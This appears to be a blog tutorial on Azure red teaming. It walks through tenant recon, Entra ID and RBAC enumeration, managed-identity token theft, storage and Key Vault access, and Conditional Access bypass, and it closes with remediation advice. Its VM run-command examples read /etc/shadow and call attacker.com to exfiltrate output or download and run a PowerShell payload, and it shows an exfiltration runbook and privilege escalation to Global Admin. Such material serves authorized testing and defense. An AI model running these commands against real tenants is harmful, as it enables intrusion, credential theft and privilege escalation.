Azure is the second-largest cloud platform on the planet and the dominant choice in enterprise environments. Microsoft’s deep integration with Active Directory, Office 365, and enterprise tooling means Azure is everywhere corporate red teams operate. If you’re doing internal red team work or enterprise pentesting in 2026, Azure is unavoidable.
This guide covers the full attack chain — from initial recon through credential theft, RBAC abuse, lateral movement, and persistence — with real commands and the tools that actually work.
You need a lab to practice this safely. Use a dedicated Azure tenant (free trial available). For an external attacker machine, Vultr and DigitalOcean give you a clean Linux box you can tear down when done.
Before You Start: Scope and Legal
Microsoft’s penetration testing rules of engagement are clear:
- You can test your own Azure resources without prior approval for most scenarios
- You cannot test Microsoft’s underlying infrastructure
- No DDoS, port scanning of Azure infrastructure, or social engineering of Microsoft employees
- For third-party engagements: written authorization from the subscription owner is mandatory
Azure also has Microsoft Defender for Cloud watching everything. Your actions will generate alerts. That’s expected in a pentest — but know what you’re triggering.
Azure Concepts Every Red Teamer Needs
Before you start throwing tools at Azure, understand the structure:
Entra ID (formerly Azure AD): Microsoft’s identity platform. Users, groups, service principals, managed identities — all live here. Compromise Entra ID and you own the identity layer.
Subscriptions: Billing + resource containers. One tenant can have multiple subscriptions.
Resource Groups: Logical containers for Azure resources. RBAC can be applied at this level.
RBAC (Role-Based Access Control): Four key built-in roles to know:
Owner— full control including access managementContributor— full control over resources, but can’t change accessReader— read-onlyUser Access Administrator— can manage role assignments (dangerous)
Service Principals: Non-human identities used by apps and automation. Often overprivileged and forgotten.
Managed Identities: Azure-managed service principals attached to compute resources. If you compromise a VM with a managed identity, you can query its credentials from the metadata service — same trick as AWS IMDS.
Phase 1: Reconnaissance
Passive Recon — Map the Target’s Azure Footprint
Start before touching any Azure API.
Subdomain and tenant discovery:
# Find Azure tenants associated with a domain
curl "https://login.microsoftonline.com/<target-domain>/v2.0/.well-known/openid-configuration"
# AADInternals - tenant info
Import-Module AADInternals
Get-AADIntTenantID -Domain target.com
Get-AADIntLoginInformation -Domain target.com
# Find all domains in a tenant (works unauthenticated)
Invoke-AADIntReconAsOutsider -DomainName target.com
Enumerate publicly exposed storage:
# Azure Blob storage — common naming patterns
curl -s "https://targetcompany.blob.core.windows.net/?comp=list"
curl -s "https://targetcompany-backup.blob.core.windows.net/?comp=list"
curl -s "https://targetcompanyprod.blob.core.windows.net/?comp=list"
curl -s "https://targetcompany-storage.blob.core.windows.net/?comp=list"
# Automated: MicroBurst
Import-Module MicroBurst
Invoke-EnumerateAzureBlobs -Base targetcompany
GitHub/code scanning for leaked credentials:
# Look for Azure connection strings and SAS tokens
trufflehog git https://github.com/target-org/repo
gitleaks detect --source /path/to/repo
# Azure credential patterns to grep for:
# DefaultEndpointsProtocol=https;AccountName=
# "client_secret":
# AZURE_CLIENT_SECRET
# ?sv=2020&ss=
Azure Storage SAS tokens found in code are a goldmine — they often grant read/write access to specific containers with no authentication required.
Active Recon — Authenticated Enumeration
Once you have credentials (leaked key, phished token, or initial foothold):
Azure CLI setup:
# Install
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Login with credentials
az login -u [email protected] -p 'Password123!'
# Login with service principal
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>
# Check who you are
az account show
az ad signed-in-user show
PowerShell Az module:
# Install
Install-Module -Name Az -Force
Install-Module -Name AzureAD -Force
# Connect
Connect-AzAccount
Connect-AzureAD
Enumerate the subscription:
# What subscriptions can you see?
az account list
# What resources exist?
az resource list --output table
# Resource groups
az group list --output table
Phase 2: Entra ID (Azure AD) Enumeration
Entra ID is the highest-value target. Understanding the identity structure tells you everything about lateral movement paths.
Enumerate Users, Groups, and Roles
# List all users
az ad user list --output table
# List all groups
az ad group list --output table
# Get members of a specific group
az ad group member list --group "Global Administrators" --output table
# List service principals (app registrations)
az ad sp list --output table
# Current user's directory roles
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/me/memberOf"
With Azure AD PowerShell:
# All users
Get-AzureADUser -All $true
# All directory roles and members
Get-AzureADDirectoryRole | ForEach-Object {
$role = $_
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId |
Select-Object @{N='Role';E={$role.DisplayName}}, DisplayName, UserPrincipalName
}
# Find users with admin roles
Get-AzureADDirectoryRole -Filter "displayName eq 'Global Administrator'" |
Get-AzureADDirectoryRoleMember
AzureHound — Graph the Attack Paths
AzureHound is the Azure equivalent of SharpHound — it collects data that BloodHound uses to map attack paths visually.
# Install
git clone https://github.com/BloodHoundAD/AzureHound
cd AzureHound && go build .
# Collect all data
./azurehound -u "[email protected]" -p "Password123!" list --tenant "target.com" -o output.json
# Or with refresh token
./azurehound -r <refresh-token> list --tenant <tenant-id> -o output.json
# Or with service principal
./azurehound --app <app-id> --secret <secret> --tenant <tenant-id> list -o output.json
Import the JSON into BloodHound. The shortest path to Global Admin is immediately visible. This is how you find the attack paths that would take days to find manually.
ROADtools — Deep Entra ID Analysis
ROADtools syncs the entire Entra ID tenant to a local database you can query.
pip install roadtools
# Authenticate
roadrecon auth -u [email protected] -p 'Password123!'
# Sync tenant data
roadrecon gather
# Launch the GUI
roadrecon-gui
# Or query directly
roadrecon plugin policies
ROADtools is better than az ad commands for deep analysis — you can query across the entire tenant at once instead of making hundreds of individual API calls.
Phase 3: RBAC Enumeration and Privilege Escalation
Map Current Permissions
# What roles do you have on each subscription?
az role assignment list --assignee <user-object-id> --all --output table
# What can you do in this resource group?
az role assignment list --scope /subscriptions/<sub-id>/resourceGroups/<rg-name> --output table
# All role assignments in the subscription
az role assignment list --subscription <sub-id> --all --output table
# Get the definition of a specific role (what actions it allows)
az role definition list --name "Contributor" --output json
Key Privilege Escalation Paths
Owner or User Access Administrator → Add yourself to roles:
# Assign yourself Owner on a subscription
az role assignment create \
--assignee <your-object-id> \
--role Owner \
--scope /subscriptions/<sub-id>
Contributor → Deploy ARM templates with identity:
# Deploy a template that runs a script as a managed identity
az deployment group create \
--resource-group <rg-name> \
--template-file evil-template.json \
--parameters @params.json
Azure Automation Account abuse:
If you have Contributor on a resource group containing an Automation Account:
# List runbooks
az automation runbook list --automation-account-name <account> --resource-group <rg>
# Create a runbook that exfiltrates credentials
az automation runbook create \
--automation-account-name <account> \
--resource-group <rg> \
--name ExfilRunbook \
--type PowerShell
# Import malicious content
az automation runbook replace-content \
--automation-account-name <account> \
--resource-group <rg> \
--name ExfilRunbook \
--content @evil-runbook.ps1
# Publish and run
az automation runbook publish --automation-account-name <account> --resource-group <rg> --name ExfilRunbook
az automation runbook start --automation-account-name <account> --resource-group <rg> --name ExfilRunbook
Service Principal Secret Rotation:
If you have Application.ReadWrite.All or ownership of an app registration:
# Add a new secret to a service principal you don't control
$sp = Get-AzureADServicePrincipal -Filter "displayName eq 'TargetApp'"
New-AzureADServicePrincipalPasswordCredential -ObjectId $sp.ObjectId
Now you have credentials for that service principal’s permissions.
Phase 4: Managed Identities and Metadata Service
Managed identities are Azure’s version of IAM instance profiles. If you have code execution on an Azure VM, Function, or Container Instance, check for an attached managed identity.
Query the Metadata Service
# Get the managed identity token (from inside the resource)
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Parse the access_token field
TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Use the token to call Azure APIs
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
Get token for Microsoft Graph (Entra ID APIs):
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"
Use the Graph token to enumerate Entra ID as the managed identity — which may have directory roles or high-privilege Graph API permissions.
Enumerate VM Instance Metadata
# Full instance metadata
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01" | python3 -m json.tool
# What subscriptions and resource groups is this VM in?
# What tags does it have? (often reveals environment: prod/dev)
# What identity is attached?
Phase 5: Storage Account Attacks
Azure Storage is the most common source of data leaks in Azure environments.
Enumerate Storage Accounts
# List storage accounts you have access to
az storage account list --output table
# Check if a storage account allows public access
az storage account show \
--name <storage-account> \
--query "allowBlobPublicAccess"
# List containers in a storage account
az storage container list \
--account-name <storage-account> \
--auth-mode login \
--output table
# List blobs in a container
az storage blob list \
--account-name <storage-account> \
--container-name <container> \
--auth-mode login \
--output table
Unauthenticated Blob Access
Public containers expose data to anyone with the URL:
# List public container contents
curl -s "https://<storage>.blob.core.windows.net/<container>?restype=container&comp=list"
# Download a file
curl -O "https://<storage>.blob.core.windows.net/<container>/file.txt"
SAS Token Abuse
Shared Access Signatures grant time-limited access without credentials. If you find one in code or logs:
# Use a SAS token to list a container
az storage container list \
--account-name <storage> \
--sas-token "?sv=2021-08-06&ss=b&srt=co&sp=rwdlacupitfx&se=2027-01-01T00:00:00Z&st=..."
# Download all blobs using SAS token
azcopy copy "https://<storage>.blob.core.windows.net/<container>/<sas-token>" \
/local/dir --recursive
SAS tokens with sp=rwdlacupitfx (full permissions) and long expiry are gold. Store them, use them.
Storage Account Keys
Storage account keys grant full access to all containers — equivalent to root access on the storage account:
# List account keys (requires Contributor or higher on the storage account)
az storage account keys list --account-name <storage>
# Use key to access any container
az storage blob list \
--account-name <storage> \
--container-name <container> \
--account-key <key>
Phase 6: Azure Key Vault
Key Vault stores secrets, certificates, and encryption keys. Getting access is a major win.
# List all Key Vaults in subscription
az keyvault list --output table
# List secrets in a vault (requires Get permission on secrets)
az keyvault secret list --vault-name <vault-name> --output table
# Get a specific secret value
az keyvault secret show --vault-name <vault-name> --name <secret-name>
# List certificates
az keyvault certificate list --vault-name <vault-name> --output table
# List keys
az keyvault key list --vault-name <vault-name> --output table
Access policy vs RBAC: Older Key Vaults use access policies; newer ones use Azure RBAC. If you have Contributor on the vault’s resource group but not explicit Key Vault permissions, you may be able to modify the access policy:
# Add yourself to the access policy
az keyvault set-policy \
--name <vault-name> \
--upn [email protected] \
--secret-permissions get list backup restore recover \
--key-permissions get list \
--certificate-permissions get list
This only works if RBAC is disabled on the vault — check first.
Phase 7: Lateral Movement
Pass the Token
Azure authentication is largely token-based. Stolen tokens work across tools and APIs.
# Extract tokens from az CLI cache
cat ~/.azure/msal_token_cache.json
cat ~/.azure/accessTokens.json
# On Windows, tokens may be in:
# %USERPROFILE%\.azure\msal_token_cache.bin (DPAPI-encrypted)
# Use AADInternals to extract on Windows
Using a stolen access token:
# With az CLI
az account get-access-token --resource https://management.azure.com/
# Inject a token into az CLI
az account set --subscription <sub-id>
# Then use the token in API calls directly:
curl -H "Authorization: Bearer <stolen-token>" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
Abuse Application Permissions
Service principals with high-privilege Graph API permissions (like Directory.ReadWrite.All or RoleManagement.ReadWrite.Directory) can do things that even Global Admins can’t do via normal user flows.
# With a service principal token for Graph, add a user to Global Admin
$body = @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/<user-id>"
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members/`$ref" \
-Method POST \
-Headers @{Authorization = "Bearer $token"} \
-Body $body \
-ContentType "application/json"
VM Command Execution via Run Command
If you have Contributor or Virtual Machine Contributor on a VM:
# Execute a shell command on a Linux VM
az vm run-command invoke \
--resource-group <rg> \
--name <vm-name> \
--command-id RunShellScript \
--scripts "cat /etc/shadow; id; curl http://attacker.com/$(id|base64 -w0)"
# PowerShell on Windows VM
az vm run-command invoke \
--resource-group <rg> \
--name <vm-name> \
--command-id RunPowerShellScript \
--scripts "whoami; (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') | IEX"
This doesn’t require network access to the VM — it goes through the Azure control plane. Bypasses firewalls and NSGs entirely.
Phase 8: Key Tools
MicroBurst
MicroBurst — NetSPI’s Azure recon toolkit. Good for initial enumeration.
Import-Module MicroBurst.psm1
# Enumerate storage accounts
Invoke-EnumerateAzureBlobs -Base targetcompany
# Find public resources
Invoke-EnumerateAzureSubDomains -Base targetcompany
# Enumerate storage resources with credentials
Get-AzurePasswords
PowerZure
PowerZure — PowerShell framework for Azure red teaming.
Import-Module PowerZure.psd1
# Connect
Set-AzureSubscription
Show-AzureCurrentUser
# Enumeration
Get-AzureRoleAssignments
Get-AzureServicePrincipalPasswords
Get-AzureRunAsAccounts
Get-AzureKeyVaults
Get-AzureStorageAccounts
# Exploitation
Get-AzureKeyVaultContents -All
Get-AzureRunbookContent -All
Show-AzureStorageContent -All
Stormspotter
Stormspotter — Microsoft’s own Azure attack path visualization tool.
git clone https://github.com/Azure/Stormspotter
cd Stormspotter/stormcollector
pip install -r requirements.txt
python3 stormspotter.py --sp-auth --tenant <tenant-id> --app-id <app-id> --app-secret <secret>
Loads into a Neo4j database with a web frontend — BloodHound-style graph of Azure permissions and relationships.
AADInternals
AADInternals — the most comprehensive Entra ID attack toolkit.
Install-Module AADInternals -Force
Import-Module AADInternals
# Recon (no auth needed)
Invoke-AADIntReconAsOutsider -DomainName target.com
# Get access token
$cred = Get-Credential
Get-AADIntAccessTokenForAADGraph -Credentials $cred
# Enumerate users
Get-AADIntUsers
# Enumerate conditional access policies
Get-AADIntConditionalAccessPolicies
# Pass-the-token
$at = Get-AADIntAccessTokenForAADGraph -SaveToCache
Phase 9: Bypassing Conditional Access
Conditional Access (CA) policies are Azure’s version of network-level access control — but for identity. They can block logins from non-compliant devices, non-trusted locations, etc.
Common bypass techniques:
Target legacy authentication protocols: Older protocols (SMTP, IMAP, POP3, Exchange Web Services) often bypass CA policies. Check if they’re still enabled:
# Check if basic auth / legacy auth is blocked in tenant
# Via AADInternals:
Get-AADIntConditionalAccessPolicies | Where-Object {$_.GrantControls -ne $null}
User agent spoofing: Some CA policies check for compliant devices based on User-Agent:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Trusted IP ranges: If the target has named locations configured, check whether any ranges are overly broad (e.g., entire ASNs).
Token theft vs credential theft: CA policies apply at authentication time — not when using an already-issued token. If you steal a valid token, you bypass CA entirely. This is why token theft is more valuable than credential theft in Azure.
Practice Environments
Do not practice Azure pentesting on real targets without authorization.
Option 1: Your own free Azure tenant Create a new Microsoft account, spin up a free Azure subscription. Deploy the following vulnerable-by-design resources:
- Storage account with public access
- VM with managed identity
- Automation account with runbooks
Option 2: CONVEX (CloudGoat for Azure)
git clone https://github.com/XMCyber/CONVEX
Deploys intentionally vulnerable Azure infrastructure scenarios.
Option 3: PurpleCloud
git clone https://github.com/iknowjason/PurpleCloud
Full AD + Azure hybrid lab environment — great for practicing identity attacks across on-prem and cloud.
Recommended Reading
These are worth having if you’re serious about Azure red teaming:
- The Hacker’s Guide to the Azure Cloud — covers the attack surface in depth
- Penetration Testing Azure for Ethical Hackers — practical focus, real scenarios
- Microsoft’s own Azure security documentation teaches you the defense, which makes the attacks obvious
For hands-on cloud red team certification prep, our upcoming Cloud Pentesting Certs guide will cover AZ-500 and the Red Team certs that matter in 2026.
Quick Reference: Essential Azure Attack Commands
# Identity check
az account show && az ad signed-in-user show
# Enumerate all resources
az resource list --output table
# RBAC assignments for current user
az role assignment list --assignee <object-id> --all --output table
# List storage accounts and check public access
az storage account list --query "[].{name:name,publicAccess:allowBlobPublicAccess}" --output table
# List Key Vaults
az keyvault list --output table
# Get Key Vault secret
az keyvault secret show --vault-name <vault> --name <secret>
# Managed identity token from inside a VM
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Run command on VM
az vm run-command invoke --rg <rg> --name <vm> --command-id RunShellScript --scripts "id"
# AzureHound collection
./azurehound -u [email protected] -p 'pass' list --tenant tenant.com -o output.json
Azure Pentest Checklist
- Tenant recon: domains, users, Entra ID structure (ROADtools + AzureHound)
- Validate credentials and check current identity/permissions
- Enumerate RBAC assignments across all subscriptions
- Check for service principals with leaked secrets or over-privileged Graph permissions
- Enumerate storage accounts — public blobs, SAS tokens, account keys
- Check Key Vaults — list secrets, test access policy misconfigs
- Enumerate Automation Accounts and runbooks
- Check for VMs with managed identities — query metadata service
- Test
az vm run-commandon accessible VMs - Look for Conditional Access gaps (legacy auth, token theft opportunities)
- Run AzureHound + import to BloodHound — find shortest path to Global Admin
- Check for Azure DevOps pipelines with elevated permissions
- Review ARM template deployment permissions (Contributor = code exec via templates)
Defending What You Attack
For the client remediation report:
- Enable Microsoft Defender for Cloud — it catches most of the attacks in this guide
- Enforce Conditional Access on all accounts — block legacy auth, require MFA everywhere
- Disable public access on all storage accounts by default — use private endpoints
- Use managed identities instead of service principal secrets where possible
- Enable Privileged Identity Management (PIM) — just-in-time access for admin roles
- Audit RBAC assignments regularly — scope down Contributor and Owner roles
- Enable Key Vault soft delete and purge protection — prevents secret deletion as a destructive attack
- Review Automation Account runbooks — treat them like code that runs as an admin
Need help writing up a cloud pentest engagement or producing client-ready security reports? CipherWrite handles technical security content — pentest write-ups, white papers, security awareness guides.
Cloud series continues: Cloud Pentesting Tools 2026: Pacu, ScoutSuite, Prowler & More — coming Friday.
